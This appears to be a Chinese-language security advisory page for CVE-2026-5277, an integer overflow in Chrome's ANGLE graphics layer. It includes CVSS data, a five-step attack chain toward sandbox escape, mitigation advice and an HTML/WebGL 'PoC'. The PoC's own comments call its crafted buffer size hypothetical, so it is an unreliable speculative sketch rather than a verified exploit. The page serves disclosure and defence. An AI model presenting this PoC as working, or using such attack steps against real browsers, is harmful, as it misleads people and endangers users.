IPBUF安全漏洞报告
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CVE-2026-5277 CVSS 7.5 高危

CVE-2026-5277 Google Chrome ANGLE整数溢出漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-5277
漏洞类型
整数溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

整数溢出Google ChromeRCE越界写入Web安全ANGLE

漏洞概述

Windows平台上的Google Chrome浏览器在146.0.7680.178版本之前存在一个高危漏洞。该漏洞源于ANGLE组件中的整数溢出问题。远程攻击者在成功攻陷渲染器进程的前提下,可以通过精心构造的HTML页面触发该漏洞,导致越界内存写入。此漏洞可能被用于进一步绕过沙箱限制,对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞位于Google Chrome用于将OpenGL指令转换为DirectX的ANGLE(Almost Native Graphics Layer Engine)组件中。具体原因是组件在处理特定图形渲染指令时,未能正确验证整数运算的边界,导致发生整数溢出。根据官方描述,利用此漏洞的前提条件是攻击者已经攻陷了Chrome的渲染器进程。在此基础上,攻击者可以诱导受害者访问包含恶意WebGL或Canvas代码的HTML页面。当页面加载并执行渲染操作时,恶意的输入数据将触发ANGLE中的计算错误,进而导致越界内存写入。这种内存破坏行为可能被利用来执行任意代码,从而实现沙箱逃逸或导致浏览器崩溃。

攻击链分析

STEP 1
步骤1:前期渗透
攻击者首先需要通过其他手段(如浏览器漏洞利用)攻陷Chrome的渲染器进程,获得在渲染器上下文中执行代码的能力。
STEP 2
步骤2:构造恶意页面
攻击者编写包含特定WebGL或Canvas指令的HTML页面,该指令经过特殊设计以触发ANGLE组件中的整数溢出。
STEP 3
步骤3:诱导访问
攻击者诱导目标用户访问该恶意HTML页面。
STEP 4
步骤4:触发漏洞
当Chrome渲染该页面时,渲染器进程处理图形指令,触发ANGLE中的整数溢出,导致越界内存写入。
STEP 5
步骤5:提升权限/执行代码
利用越界写入破坏内存布局,可能绕过沙箱限制,在目标系统上执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-5277: Integer Overflow in ANGLE Description: This HTML page attempts to trigger an integer overflow in the ANGLE component. Note: Successful exploitation typically requires a compromised renderer process. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-5277 PoC</title> </head> <body> <h3>Testing ANGLE Integer Overflow</h3> <canvas id="glCanvas" width="640" height="480"></canvas> <script> try { const canvas = document.getElementById('glCanvas'); // Get WebGL context from the canvas (uses ANGLE on Windows) const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); if (gl) { console.log("WebGL context initialized."); // Attempt to trigger overflow via buffer data // A specific size calculation triggers the integer overflow // This value is hypothetical and represents the crafted input const craftedSize = 0x7FFFFFFF; const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // The bufferData call attempts to allocate memory based on the crafted size // If vulnerable, this triggers the integer overflow and OOB write gl.bufferData(gl.ARRAY_BUFFER, craftedSize, gl.STATIC_DRAW); console.log("bufferData called with crafted size."); } else { console.log("WebGL not supported."); } } catch (e) { console.error("Exception occurred during PoC execution:", e); } </script> </body> </html>

影响范围

Google Chrome < 146.0.7680.178

防御指南

临时缓解措施
建议用户立即检查浏览器版本并应用官方补丁。在无法立即更新的情况下,应避免点击来源不明的链接或访问可疑网站,以降低渲染器进程被攻陷的风险。

参考链接

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